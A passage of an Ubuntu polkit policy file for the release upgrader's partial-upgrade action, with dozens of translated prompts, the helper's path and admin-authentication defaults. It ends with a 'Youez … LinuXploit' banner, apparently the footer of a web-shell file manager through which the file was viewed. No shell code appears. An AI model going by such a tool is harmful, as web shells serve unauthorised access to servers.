    <description xml:lang="it">Eseguire un avanzamento parziale</description>
    <description xml:lang="ja">部分アップグレードを行う</description>
    <description xml:lang="km">ធ្វើ​បច្ចុប្បន្នភាព​តាម​ផ្នែក</description>
    <description xml:lang="ko">부분 업그레이드 실행</description>
    <description xml:lang="ku">Bilindkirina qismî tê pêkanîn</description>
    <description xml:lang="lt">Atlikti dalinį atnaujinimą</description>
    <description xml:lang="lv">Veikt daļēju uzlabošanu</description>
    <description xml:lang="ms">Buat penataran separa</description>
    <description xml:lang="nb">Utfør en deloppgradering</description>
    <description xml:lang="nl">Een gedeeltelijke upgrade uitvoeren</description>
    <description xml:lang="oc">Efectuar una mesa a nivèl parciala</description>
    <description xml:lang="pa">ਅਧੂਰਾ ਅੱਪਗਰੇਡ ਕਰੋ</description>
    <description xml:lang="pl">Zaktualizuj wydanie częściowo</description>
    <description xml:lang="pt">Executar uma atualização parcial</description>
    <description xml:lang="pt_BR">Executar uma atualização parcial</description>
    <description xml:lang="ro">Se realizează o actualizare parțială</description>
    <description xml:lang="ru">Выполнить частичное обновление</description>
    <description xml:lang="sk">Vykonať čiastočnú aktualizáciu</description>
    <description xml:lang="sl">Izvedi delno nadgradnjo</description>
    <description xml:lang="sq">Kryej një përditësim të pjesshëm</description>
    <description xml:lang="sv">Utför en delvis uppgradering</description>
    <description xml:lang="szl">Zaktualizuj wydanie czyńściowo</description>
    <description xml:lang="th">ดำเนินการอัปเกรดแบบบางส่วน</description>
    <description xml:lang="tr">Kısmi bir yükseltme gerçekleştir</description>
    <description xml:lang="ug">قىسمى يۈكسەلدۈرۈش</description>
    <description xml:lang="uk">Виконати часткове оновлення</description>
    <description xml:lang="vi">Thực hiện nâng cấp từng phần</description>
    <description xml:lang="zh_CN">执行部分升级</description>
    <description xml:lang="zh_HK">進行部份升級</description>
    <description xml:lang="zh_TW">執行部份升級</description>
    <message>To perform a partial upgrade, you need to authenticate.</message>
    <message xml:lang="af">Te verrig 'n opgrader, moet jy om outentiseer.</message>
    <message xml:lang="am">በ ከፊል ማሻሻያ ለ መፈጸም ማረጋገጫ ያስፈልጋል</message>
    <message xml:lang="ar">تحتاج للاستيثاق لتنفيذ الترقية الجزئية.</message>
    <message xml:lang="ast">Pa facer un anovamientu parcial, necesites autenticate.</message>
    <message xml:lang="be">Для частковага абнаўлення, вы павінны аўтарызавацца</message>
    <message xml:lang="bg">За извършване на частично надграждане, ще трябва да се представите.</message>
    <message xml:lang="bs">Da djelomično nadogradite , trebate se prijaviti.</message>
    <message xml:lang="ca">Cal que us autentiqueu per fer una actualització parcial.</message>
    <message xml:lang="ca@valencia">Cal que vos autentiqueu per fer una actualització parcial.</message>
    <message xml:lang="cs">Pro provedení částečného povýšení se musíte autorizovat.</message>
    <message xml:lang="da">Du skal godkende for at udføre en delvis opgradering.</message>
    <message xml:lang="de">Um eine teilweise Systemaktualisierung durchzuführen, müssen Sie sich authentifizieren.</message>
    <message xml:lang="el">Για να εκτελέσετε μια μερική αναβάθμιση, πρέπει να επιβεβαιώσετε με τον κωδικό σας.</message>
    <message xml:lang="en_AU">To perform a partial upgrade, you need to authenticate.</message>
    <message xml:lang="en_CA">To perform a partial upgrade, you need to authenticate.</message>
    <message xml:lang="en_GB">To perform a partial upgrade, you need to authenticate.</message>
    <message xml:lang="eo">Por fari partan promocion, necesas ke vi aŭtentigi vin.</message>
    <message xml:lang="es">Para realizar una actualización parcial necesita autenticarse.</message>
    <message xml:lang="et">Osalise uuenduse teostamiseks peate ennast autentima.</message>
    <message xml:lang="eu">Bertsio-berritze partzial bat burutzeko, autentifikatu beharra duzu.</message>
    <message xml:lang="fi">Osittainen päivitys vaatii tunnistautumisen.</message>
    <message xml:lang="fr">Pour faire une mise à niveau partielle, vous devez vous identifier.</message>
    <message xml:lang="fr_CA">Pour effectuer une mise à niveau partielle, vous devez vous authentifier..</message>
    <message xml:lang="gd">Feumaidh tu dearbhadh mus urrainn dhut àrdachadh leth-phàirteach a dhèanamh.</message>
    <message xml:lang="gl">Para realizar unha anovación parcial, é preciso que se autentifique.</message>
    <message xml:lang="he">כדי לבצע שדרוג חלקי, יהיה עליך להזדהות.</message>
    <message xml:lang="hr">Za djelomičnu nadogradnju Ubuntua, potrebna je ovjera.</message>
    <message xml:lang="hu">Részleges frissítés elvégzéséhez hitelesítés szükséges.</message>
    <message xml:lang="ia">Pro exequer un promotion partial, tu necessita ser authenticate.</message>
    <message xml:lang="id">Untuk melakukan peningkatan sebagian, Anda perlu mengotentikasi.</message>
    <message xml:lang="it">Per eseguire un aggiornamento parziale, è necessario autenticarsi.</message>
    <message xml:lang="ja">部分的なアップグレードを実行するには、認証が必要です。</message>
    <message xml:lang="km">ធ្វើ​បច្ចុប្បន្នភាព​តាម​ផ្នែក អ្នក​ចាំបាច់​ផ្ទៀងផ្ទាត់</message>
    <message xml:lang="ko">부분 업그레이드를 수행하려면 인증을 해주십시오.</message>
    <message xml:lang="ku">Ji bo bilindkirineke qismî, divê tu nasnameyê piştrast bikî.</message>
    <message xml:lang="lt">Prieš atliekant dalinį atnaujinimą, reikia autentifikuotis.</message>
    <message xml:lang="lv">Lai veikt daleju atjauninajumu, jums ir jaautentificejas.</message>
    <message xml:lang="ms">Untuk membuat penataran separa, anda perlu sahihkan.</message>
    <message xml:lang="nb">Du må autentisere deg for å utføre deloppgradering.</message>
    <message xml:lang="nl">Voor een gedeeltelijke upgrade is authenticatie vereist.</message>
    <message xml:lang="oc">Per far una mesa a nivèl parciala, vos cal vos identificar.</message>
    <message xml:lang="pa">ਅਧੂਰਾ ਅੱਪਗਰੇਡ ਕਰਨ ਲਈ ਤੁਹਾਨੂੰ ਪਰਮਾਣਿਤ ਹੋਣ ਦੀ ਲੋੜ ਹੈ</message>
    <message xml:lang="pl">Aby przeprowadzić częściową aktualizację, musisz podać hasło.</message>
    <message xml:lang="pt">Para realizar uma atualização parcial, tem que se autenticar.</message>
    <message xml:lang="pt_BR">Para efetuar uma atualização parcial, você precisa autenticar-se.</message>
    <message xml:lang="ro">Pentru a realiza o actualizare parțială trebuie să vă autentificați.</message>
    <message xml:lang="ru">Для частичного обновления вам нужно представиться.</message>
    <message xml:lang="sk">Na vykonanie čiastočnej aktualizácie je potrebné overenie totožnosti.</message>
    <message xml:lang="sl">Za delno nadgradnjo sistema Ubuntu je zahtevana overitev.</message>
    <message xml:lang="sq">Për të kryer një përditësim të pjesshëm, ju duhet të identifikoheni.</message>
    <message xml:lang="sr">Да извршите делимичну надоградњу, морате да потврдите идентитет.</message>
    <message xml:lang="sv">För att utföra en delvis uppgradering måste din identitet kontrolleras.</message>
    <message xml:lang="szl">Coby przekludzić czyńściowo aktualizacyjo, musisz podać hasło.</message>
    <message xml:lang="tg">Барои татбиқ кардани такмили ҷузъӣ, шумо бояд ворид шавед.</message>
    <message xml:lang="th">คุณต้องยืนยันตัวตนเพื่อทำการอัปเกรดแบบบางส่วน</message>
    <message xml:lang="tr">Kısmi yükseltme için kimlik doğrulamanız gerekiyor.</message>
    <message xml:lang="ug">قىسمى يۈكسەلدۈرۈش ئۈچۈن كىملىك دەلىللەش زۆرۈر.</message>
    <message xml:lang="uk">Для часткового оновлення, ви повинні пройти автентифікацію</message>
    <message xml:lang="zh_CN">进行部分升级前,您需要授权该操作。</message>
    <message xml:lang="zh_HK">要先核證身分才能進行部份升級。</message>
    <message xml:lang="zh_TW">要先核對身分才能為 Ubuntu 進行部分升級。</message>
    <annotate key="org.freedesktop.policykit.exec.path">/usr/lib/ubuntu-release-upgrader/do-partial-upgrade</annotate>
    <annotate key="org.freedesktop.policykit.exec.allow_gui">true</annotate>

    <defaults>
      <allow_any>no</allow_any>
      <allow_inactive>no</allow_inactive>
      <allow_active>auth_admin</allow_active>
    </defaults>
  </action>
  
</policyconfig>

Youez - 2016 - github.com/yon3zu
LinuXploit